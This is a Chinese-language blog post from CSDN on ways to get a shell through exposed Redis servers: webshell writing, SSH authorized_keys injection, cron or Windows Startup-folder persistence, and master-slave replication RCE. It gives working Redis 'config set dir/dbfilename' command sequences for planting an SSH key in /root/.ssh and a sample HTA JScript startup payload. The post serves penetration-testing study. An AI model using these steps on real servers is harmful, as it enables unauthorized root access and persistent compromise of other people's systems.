redis getshell方法

文章介绍了Redis的基本概念及其作为键值对NoSQL数据库的角色。讨论了通过写入webshell、SSHKey、计划任务(如Linux的cron)进行getshell的方法,以及Redis主从复制模式中的RCE漏洞。此外,提到了Redis4.x后的模块功能,允许通过C语言扩展实现自定义命令,但这也可能带来安全问题。
摘要由CSDN通过智能技术生成

前言

参考文章
https://paper.seebug.org/1169
https://blog.csdn.net/weixin_55843787/article/details/123829606
https://blog.csdn.net/chenglanqi6606/article/details/100909518

Redis是什么

Redis是一款基于键值对的NoSQL数据库,它的值支持多种数据结构

常见方法

1、通过向Web目录中写webshell的方式进行getshell

2、通过写SSH key的方式进行getshell

3、通过写corntab的方式进行getshell

SSH Key

linux 系统使用 ssh 的用户目录下都会有一个隐藏文件夹/.ssh/。

只要把我们的公钥写在对方的 .ssh/authorized_keys 文件里再去用 ssh 连接就不需服务器的账号密码了

第1步:本地生成公钥文件

ssh-keygen–trsa

第2步:将生成的公钥写入到文件中

(echo -e “\n\n\n\n”; cat id_rsa.pub; echo -e “\n\n\n\n”) > pub.txt

第3步:设置路径、文件、写入公钥

config set dir /root/.ssh/
config set dbfilename “authorized_keys”
config set 233 “xxxx”
save

第4步:连接

ssh -i id_rsa root@xxx.xxx.xxx.xxx

计划任务

Windows

在 Windows 系统中有一个特殊的目录,在这个目录下的文件在开机的时候都会被运行。

<SCRIPT Language="JScript">new ActiveXObject("WScript.Shell").run("calc.exe");</SCRIPT>

我把这段JS执行 calc 命令的代码写到了该目录下

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\exp.hta

当系统启动时就会随之运行,从而执行攻击者的恶意代码。

linux:corntab

在 linux 系的系统有着定时任务的功能,只要文件可以写到定时任务目录里就可以执行系统命令。

/var/spool/cron/用户名
/var/spool/cron/crontabs/用户名
/etc/crontab
/etc/cron.d/xxx

注意:有些系统对 crontab 的文件内容的校验比较严格可能会导致无法执行定时任务。

主从复制 RCE

如果把数据存储在单个Redis的实例中,当读写数据量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。

在 Reids 4.x 之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写C语言并编译出 .so 文件。

漏洞复现参考文章:
https://blog.csdn.net/weixin_44971640/article/details/128117510

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值